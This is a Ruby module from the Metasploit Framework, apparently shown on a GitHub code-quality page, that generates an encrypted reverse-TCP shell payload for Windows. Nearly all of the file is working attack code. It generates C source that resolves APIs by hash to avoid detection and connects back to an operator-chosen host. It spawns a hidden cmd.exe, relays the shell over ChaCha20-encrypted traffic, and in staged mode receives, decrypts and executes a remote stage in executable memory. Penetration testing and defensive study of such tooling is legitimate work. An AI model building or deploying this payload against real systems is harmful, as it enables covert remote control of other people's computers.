rapid7/metasploit-framework

View on GitHub
lib/msf/core/payload/windows/encrypted_reverse_tcp.rb

Summary

Maintainability
D
2 days
Test Coverage
# -*- coding: binary -*-

require 'rex/peparsey'
require 'metasploit/framework/compiler/mingw'

module Msf

###
#
# encrypted reverse tcp payload for Windows
#
###
module Payload::Windows::EncryptedReverseTcp

  include Msf::Payload::UUID::Options
  include Msf::Payload::Windows
  include Msf::Payload::Windows::EncryptedPayloadOpts
  include Msf::Payload::Windows::PayloadDBConf


  def initialize(*args)
    super

    # prevents checks running when module is initialized during msfconsole startup
    if framework
      unless framework.db.active
        add_warning('A database connection is preferred for this module. If this is not possible, please make sure to '\
        'take note of the ChachaKey & ChachaNonce options used during generation in order to set them correctly when '\
        'calling a module handler.')
      end

      if self.arch.nil? || self.arch.empty?
        add_warning('Payload architecture could not be determined.')
        return
      end

      if self.arch.include?('x86') && !::Metasploit::Framework::Compiler::Mingw::X86.available?
        add_error("x86 Mingw installation is not available.")
      end
      if self.arch.include?('x64') && !::Metasploit::Framework::Compiler::Mingw::X64.available?
        add_error("x64 Mingw installation is not available.")
      end
    end
  end

  def generate(opts={})
    opts[:uuid] ||= generate_payload_uuid.puid_hex
    iv = datastore['ChachaNonce']

    conf =
    {
      call_wsastartup: datastore['CallWSAStartup'],
      port:            format_ds_opt(datastore['LPORT']),
      host:            format_ds_opt(datastore['LHOST']),
      key:             datastore['ChachaKey'],
      nonce:           datastore['ChachaNonce'],
      iv:              iv,
      uuid:            opts[:uuid],
      staged:          staged?
    }

    src = ''
    if staged?
      src = generate_stager(conf, opts)
    else
      src = generate_c_src(conf, opts)
    end

    link_script = module_info['DefaultOptions']['LinkerScript']
    compile_opts =
    {
      strip_symbols: datastore['StripSymbols'],
      linker_script: link_script,
      opt_lvl:       datastore['OptLevel'],
      keep_src:      datastore['KeepSrc'],
      keep_exe:      datastore['KeepExe'],
      show_compile_cmd: datastore['ShowCompileCMD'],
      f_name:        Tempfile.new(staged? ? 'reverse_pic_stager' : 'reverse_pic_stageless').path,
      arch:          opts.fetch(:arch, self.arch_to_s)
    }

    comp_code = get_compiled_shellcode(src, compile_opts)

    chacha_conf =
    {
      'uuid'  =>  conf[:uuid],
      'key'   =>  conf[:key],
      'nonce' =>  conf[:nonce]
    }
    save_conf_to_db(chacha_conf)

    comp_code
  end

  def initial_code(conf, opts = {})
    src = headers
    src << align_rsp if opts.fetch(:arch, self.arch_to_s).eql?('x64')

    if staged?
      src << chacha_func_staged
    else
      src << chacha_func
    end
    src << exit_proc
  end

  def generate_stager(conf, opts = {})
    src = initial_code(conf, opts)

    if conf[:call_wsastartup]
      src << init_winsock
    end

    src << comm_setup
    src << get_load_library(conf[:host], conf[:port])
    src << call_init_winsock if conf[:call_wsastartup]
    src << start_comm(conf[:uuid])
    src << stager_comm(conf, opts)
  end

  def sends_hex_uuid?
    true
  end

  def include_send_uuid
    true
  end

  def generate_stage(opts={})
    conf = opts[:datastore] || datastore
    conf[:staged] = true
    stage_uuid = opts[:uuid] || uuid
    key, nonce = retrieve_chacha_creds(stage_uuid)

    unless key && nonce
      print_status('No existing key/nonce in db. Resorting to datastore options.')
      key = conf['ChachaKey']
      nonce = conf['ChachaNonce']
    end
    iv = nonce

    link_script = module_info['DefaultOptions']['LinkerScript']
    comp_opts =
    {
      strip_symbols: false,
      linker_script: link_script,
      keep_src:      datastore['KeepSrc'],
      keep_exe:      datastore['KeepExe'],
      show_compile_cmd: datastore['ShowCompileCMD'],
      f_name:        Tempfile.new('reverse_pic_stage').path,
      arch:          opts.fetch(:arch, self.arch_to_s)
    }

    src = initial_code(conf, opts)
    src << get_new_key
    src << init_proc
    src << exec_payload_stage(conf, opts)
    shellcode = get_compiled_shellcode(src, comp_opts)

    stage_obj = Rex::Crypto::Chacha20.new(key, iv)
    stage_obj.chacha20_crypt(shellcode)
  end

  def generate_c_src(conf, opts = {})
    src = initial_code(conf, opts)

    if conf[:call_wsastartup]
      src << init_winsock
    end

    src << comm_setup
    src << get_new_key
    src << init_proc
    src << get_load_library(conf[:host], conf[:port])
    src << call_init_winsock if conf[:call_wsastartup]
    src << start_comm(conf[:uuid])
    src << single_comm
  end

  def get_hash(lib, func)
    Rex::Text.block_api_hash(lib, func)
  end

  def get_compiled_shellcode(src, opts={})
    comp_obj = nil
    case opts[:arch]
    when 'x86'
      comp_obj = Metasploit::Framework::Compiler::Mingw::X86.new(opts)
    when 'x64'
      comp_obj = Metasploit::Framework::Compiler::Mingw::X64.new(opts)
    end

    compiler_out = comp_obj.compile_c(src)
    unless compiler_out.empty?
      elog(compiler_out)
      raise Metasploit::Framework::Compiler::Mingw::UncompilablePayloadError.new('Payload did not compile. Check the logs for further information.')
    end

    comp_file = "#{opts[:f_name]}.exe"
    raise Metasploit::Framework::Compiler::Mingw::CompiledPayloadNotFoundError unless File.exist?(comp_file)
    bin = File.binread(comp_file).strip
    bin = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(bin))

    text_section = bin.sections.first
    text_section = text_section._isource

    comp_obj.cleanup_files
    text_section.rawdata
  end

  #
  # Options such as the LHOST and PORT
  # need to become a null-terminated array
  # to ensure they exist in the .text section.
  #
  def format_ds_opt(opt)
    modified = ''

    opt = opt.to_s
    opt.split('').each { |elem| modified << "\'#{elem}\', " }
    modified = "#{modified}0"
  end

  def headers
    %Q^
      #include "winsock_util.h"
      #include "payload_util.h"
      #include "kernel32_util.h"

      #include "chacha.h"
    ^
  end

  def align_rsp
    %Q^
      void AlignRSP()
      {
        asm("push %rsi                      \\t\\n\\
             mov %rsp, %rsi                 \\t\\n\\
             and $0x0FFFFFFFFFFFFFFF0, %rsp \\t\\n\\
             sub $0x020, %rsp               \\t\\n\\
             call ExecutePayload            \\t\\n\\
             mov %rsi, %rsp                 \\t\\n\\
             pop %rsi                       \\t\\n\\
             ret");
      }
    ^
  end

  def chacha_func_staged
    %Q^
      char *chacha_data(char *buf, int len, chacha_ctx *ctx)
      {
        chacha_encrypt_bytes(ctx, buf, buf, len);
        buf[len] = '\\0';

        return buf;
      }
    ^
  end

  def chacha_func
    %Q^
      char *chacha_data(char *buf, int len, chacha_ctx *ctx)
        {
          FuncVirtualAlloc VirtualAlloc = (FuncVirtualAlloc) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'VirtualAlloc')}); // hash('kernel32.dll',
          char *out = VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_READWRITE);
          chacha_encrypt_bytes(ctx, buf, out, len);
          out[len] = '\\0';
          return out;
        }
    ^
  end

  def exit_proc
    %Q^
      UINT ExitProc()
      {
        DWORD term_status;
        FuncGetCurrentProcess GetCurrentProcess = (FuncGetCurrentProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'GetCurrentProcess')}); // hash('kernel32.dll', 'GetCurrentProcess') -> 0x51e2f352
        FuncGetExitCodeProcess GetExitCodeProcess = (FuncGetExitCodeProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'GetExitCodeProcess')}); // hash('kernel32.dll', 'GetExitCodeProcess' -> 0xee54785f

        HANDLE curr_proc_handle = GetCurrentProcess();
        GetExitCodeProcess(curr_proc_handle, &term_status);

        return term_status;
      }
    ^
  end

  def init_winsock
    %Q^
      void init_winsock()
      {
        WSADATA wsadata;
        FuncWSAStartup WSAInit;
        UINT term_proc_status = ExitProc();
        FuncExitProcess ExitProcess = (FuncExitProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'ExitProcess')}); // hash('kernel32.dll', 'ExitProcess') -> 0x56a2b5f0

        WSAInit = (FuncWSAStartup) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'WSAStartup')}); // hash('ws2_32.dll', 'WSAStartup') -> 0x006B8029
        if(WSAInit(MAKEWORD(2, 2), &wsadata))
        {
          ExitProcess(term_proc_status);
        }
      }

    ^
  end

  def comm_setup
    %Q^
      struct addrinfo *conn_info_setup(char *i, char *p)
      {
        UINT term_proc_stat = ExitProc();
        struct addrinfo hints, *results = NULL, *first = NULL;
        FuncGetAddrInfo GetAddrInf = (FuncGetAddrInfo) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'getaddrinfo')}); // hash('ws2_32.dll', 'getaddrinfo') -> 0x14f1f695
        FuncFreeAddrInfo FreeAddrInf = (FuncFreeAddrInfo) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'freeaddrinfo')}); // hash('ws2_32.dll', 'freeaddrinfo') -> 0x150784f5
        FuncExitProcess ExitProcess = (FuncExitProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'ExitProcess')}); // hash('kernel32.dll', 'ExitProcess') -> 0x56a2b5f0

        SecureZeroMemory(&hints, sizeof(hints));
        hints.ai_family = AF_INET;
        hints.ai_socktype = SOCK_STREAM;
        hints.ai_protocol = IPPROTO_TCP;

        if(GetAddrInf(i, p, &hints, &results))
        {
          ExitProcess(term_proc_stat);
        }

        first = results;
        if(first == NULL)
        {
          FreeAddrInf(results);
          ExitProcess(term_proc_stat);
        }

        return first;
      }
    ^
  end

  def get_new_key
    %Q^
      char *get_new_key(SOCKET s)
      {
        FuncVirtualAlloc VirtualAlloc = (FuncVirtualAlloc) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'VirtualAlloc')}); // hash('kernel32.dll',
        FuncRecv RecvData = (FuncRecv) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'recv')});

        char *received = VirtualAlloc(NULL, 45, MEM_COMMIT, PAGE_READWRITE);
        int recv_num = RecvData(s, received, 44, 0);

        received[44] = '\\0';
        return received;
      }
    ^
  end

  def init_proc
    %Q^
      HANDLE* init_process(SOCKET s)
      {
        char cmd[] = { 'c', 'm', 'd', 0 };
        STARTUPINFO si;
        SECURITY_ATTRIBUTES sa;
        PROCESS_INFORMATION pi;
        UINT proc_stat = ExitProc();
        HANDLE out_rd, out_wr, in_rd, in_wr;
        FuncExitProcess ExitProcess = (FuncExitProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'ExitProcess')}); // hash('kernel32.dll', 'ExitProcess') -> 0x56a2b5f0

        SecureZeroMemory(&si, sizeof(si));
        SecureZeroMemory(&sa, sizeof(sa));
        SecureZeroMemory(&pi, sizeof(pi));

        si.cb = sizeof(si);
        sa.nLength = sizeof(sa);
        sa.lpSecurityDescriptor = NULL;
        sa.bInheritHandle = TRUE;

        FuncCreatePipe CreatePipe = (FuncCreatePipe) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'CreatePipe')}); // hash('kernel32.dll', 'CreatePipe') -> 0xeafcf3e
        CreatePipe(&out_rd, &out_wr, &sa, 0);
        CreatePipe(&in_rd, &in_wr, &sa, 0);

        FuncSetHandleInformation SetHandleInformation = (FuncSetHandleInformation) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'SetHandleInformation')}); // hash('kernel32.dll', 'SetHandleInformation') -> 0x1cd313ca
        SetHandleInformation(out_rd, HANDLE_FLAG_INHERIT, 0);
        SetHandleInformation(in_wr, HANDLE_FLAG_INHERIT, 0);

        si.dwFlags = STARTF_USESTDHANDLES;
        si.hStdError = si.hStdOutput = out_wr;
        si.hStdInput = in_rd;

        FuncCreateProcess CreateProcess = (FuncCreateProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'CreateProcessA')}); // hash('kernel32.dll', 'CreateProcess') -> 0x863fcc79
        if(!CreateProcess(NULL, cmd, &sa, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
        {
          ExitProcess(proc_stat);
        }

        FuncCloseHandle CloseHandle = (FuncCloseHandle) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'CloseHandle')}); // hash('kernel32.dll', 'CloseHandle') -> 0x528796c6
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);

        FuncGlobalAlloc GlobalAlloc = (FuncGlobalAlloc) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'GlobalAlloc')}); // hash('kernel32.dll', 'GlobalAlloc') -> 0x520f76f6
        HANDLE *handle_arr = GlobalAlloc(GMEM_FIXED, sizeof(HANDLE) * 2);

        handle_arr[0] = out_rd;
        handle_arr[1] = in_wr;

        return handle_arr;
      }

      void communicate(HANDLE out, HANDLE in, SOCKET s)
      {
        DWORD data = 0;
        char buf[512];
        int buf_size = 512;
        int new_key = 0;
        DWORD bytes_received = 0;
        FuncSleep Sleep = (FuncSleep) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'Sleep')}); // hash('kernel32.dll', 'Sleep') -> 0xe035f044
        FuncSend SendData = (FuncSend) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'send')}); // hash('ws2_32.dll', 'send') -> 0x5f38ebc2
        FuncRecv RecvData = (FuncRecv) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'recv')}); // hash('ws2_32.dll', 'recv') -> 0x5fc8d902
        FuncReadFile ReadFile = (FuncReadFile) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'ReadFile')}); // hash('kernel32.dll', 'ReadFile') -> 0xbb5f9ead
        FuncWriteFile WriteFile = (FuncWriteFile) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'WriteFile')}); // hash('kernel32.dll', 'WriteFile') -> 0x5bae572d
        FuncExitProcess ExitProcess = (FuncExitProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'ExitProcess')}); // hash('kernel32.dll', 'ExitProcess') -> 0x56a2b5f0
        FuncPeekNamedPipe PeekNamedPipe = (FuncPeekNamedPipe) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'PeekNamedPipe')}); // hash('kernel32.dll', 'PeekNamedPipe') -> 0xb33cb718
        FuncVirtualFree VirtualFree = (FuncVirtualFree) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'VirtualFree')}); // hash('kernel32.dll', 'VirtualFree') -> 0x300f2f0b

        SecureZeroMemory(buf, buf_size);
        UINT term_stat = ExitProc();
        char init_key[] = { #{format_ds_opt(datastore['ChachaKey'])} };
        char init_nonce[] = { #{format_ds_opt(datastore['ChachaNonce'])} };
        char *key = init_key;
        char *nonce = init_nonce;

        chacha_ctx ctx;
        chacha_keysetup(&ctx, key, 256, 96);
        chacha_ivsetup(&ctx, nonce);

        do
        {
          if(new_key == 0)
          {
            char *stream = get_new_key(s);
            if(stream == NULL)
            {
              ExitProcess(term_stat);
            }

            char *res = chacha_data(stream, 44, &ctx);
            key = res + 12;
            nonce = res;
            new_key = 1;

            chacha_keysetup(&ctx, key, 256, 96);
            chacha_ivsetup(&ctx, nonce);
          }

          if(PeekNamedPipe(out, NULL, 0, NULL, &data, NULL) && data > 0)
          {
            if(!ReadFile(out, buf, buf_size-1, &bytes_received, NULL))
            {
              ExitProcess(term_stat);
            }
            char *cmd = chacha_data(buf, bytes_received, &ctx);
            SendData(s, cmd, bytes_received, 0);
            SecureZeroMemory(buf, buf_size);
            VirtualFree(cmd, bytes_received+1, MEM_RELEASE);
          }
          else
          {
            DWORD bytes_written = 0;

            bytes_received = RecvData(s, buf, buf_size-1, 0);
            if(bytes_received > 0)
            {
              char *dec_cmd = chacha_data(buf, bytes_received, &ctx);
              WriteFile(in, dec_cmd, bytes_received, &bytes_written, NULL);
              SecureZeroMemory(buf, buf_size);
              VirtualFree(dec_cmd, bytes_received+1, MEM_RELEASE);
            }
          }
          Sleep(100);
        } while(bytes_received > 0);
      }

    ^
  end

  #
  # ExecutePayload acts as the main function of the c program
  #
  def get_load_library(host, port)
    %Q^
      void ExecutePayload(VOID)
      {
        FuncLoadLibraryA LoadALibrary;
        FuncWSASocketA WSASock;
        FuncWSACleanup WSACleanup;
        FuncConnect ConnectSock;
        UINT proc_term_status = ExitProc();
        SOCKET conn_socket = INVALID_SOCKET;
        FuncExitProcess ExitProcess = (FuncExitProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'ExitProcess')}); // hash('kernel32.dll', 'ExitProcess') -> 0x56a2b5f0
        FuncCloseHandle CloseHandle = (FuncCloseHandle) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'CloseHandle')}); // hash('kernel32.dll', 'CloseHandle') -> 0x528796c6

        char ip[] = { #{host} };
        char port[] = { #{port} };
        char ws2[] = { 'w', 's', '2', '_', '3', '2', '.', 'd', 'l', 'l', 0 };

        LoadALibrary = (FuncLoadLibraryA) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'LoadLibraryA')}); // hash('kernel32.dll', 'LoadLibrary') -> 0x0726774C
        LoadALibrary((LPTSTR) ws2);
      ^
  end

  def call_init_winsock
    %Q^
        init_winsock();
    ^
  end

  def start_comm(uuid)
    %Q^
        struct addrinfo *info = NULL;
        info = conn_info_setup(ip, port);
        FuncSend SendData = (FuncSend) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'send')}); // hash('ws2_32.dll', 'send') -> 0x5f38ebc2
        WSASock = (FuncWSASocketA) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'WSASocketA')}); // hash('ws2_32.dll', 'WSASocketA') -> 0xe0df0fea
        conn_socket = WSASock(info->ai_family, info->ai_socktype, info->ai_protocol, NULL, 0, 0);

        if(conn_socket == INVALID_SOCKET)
        {
          ExitProcess(proc_term_status);
        }

        ConnectSock = (FuncConnect) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'connect')}); // hash('ws2_32.dll', 'connect') -> 0x6174a599
        if(ConnectSock(conn_socket, info->ai_addr, info->ai_addrlen) == SOCKET_ERROR)
        {
          ExitProcess(proc_term_status);
        }

        char uuid[] = { #{format_ds_opt(uuid)} };
        SendData(conn_socket, uuid, 16, 0);

      ^
   end

  def single_comm
    %Q^
        HANDLE *comm_handles = init_process(conn_socket);
        communicate(*(comm_handles), *(comm_handles+1), conn_socket);

        CloseHandle(*comm_handles);
        CloseHandle(*(comm_handles + 1));
        WSACleanup = (FuncWSACleanup) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'WSACleanup')}); // hash('ws2_32.dll', 'WSACleanup') -> 0xf44a6e2b
      }
    ^
  end

  def stager_comm(conf, opts = {})
    arch = opts.fetch(:arch, self.arch_to_s)
    reg = arch.eql?('x86') ? 'edi' : 'rdi'
    inst = arch.eql?('x86') ? 'movl' : 'movq'

    %Q^
        FuncRecv RecvData = (FuncRecv) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'recv')}); // hash('ws2_32.dll', 'recv') -> 0x5fc8d902
        unsigned int stage_size;
        int recvd = RecvData(conn_socket, (char *) &stage_size, 4, 0);
        if(recvd != 4)
        {
          ExitProcess(proc_term_status);
        }

        FuncVirtualAlloc VirtualAlloc = (FuncVirtualAlloc) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'VirtualAlloc')}); // hash('kernel32.dll', 'VirtualAlloc') -> 0xe553a458
        register char *received = VirtualAlloc(NULL, stage_size + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

        int recv_stg = RecvData(conn_socket, received, stage_size, MSG_WAITALL);
        if(recv_stg != stage_size)
        {
          ExitProcess(proc_term_status);
        }

        char key[] = { #{format_ds_opt(datastore['ChachaKey'])} };
        char nonce[] = { #{format_ds_opt(datastore['ChachaNonce'])} };

        chacha_ctx dec_ctx;
        chacha_keysetup(&dec_ctx, key, 256, 96);
        chacha_ivsetup(&dec_ctx, nonce);
        chacha_data(received, stage_size + 1, &dec_ctx);

        // hand the socket to the stage
        asm("#{inst} %0, %%#{reg}"
            :
            : "r" (conn_socket)
            : "%#{reg}"
        );

        // call the stage
        void (*func)() = (void(*)())received;
        func();
      }
    ^
  end

  def exec_payload_stage(conf, opts = {})
    arch = opts.fetch(:arch, self.arch_to_s)
    reg = arch.eql?('x86') ? 'edi' : 'rdi'
    inst = arch.eql?('x86') ? 'movl' : 'movq'

    %Q^
     void ExecutePayload()
     {
       SOCKET conn_socket = INVALID_SOCKET;

       asm("#{inst} %%#{reg}, %0"
           :
           :"m"(conn_socket)
       );

       HANDLE *comm_handles = init_process(conn_socket);
       communicate(*(comm_handles), *(comm_handles+1), conn_socket);
     }
    ^
  end
end
end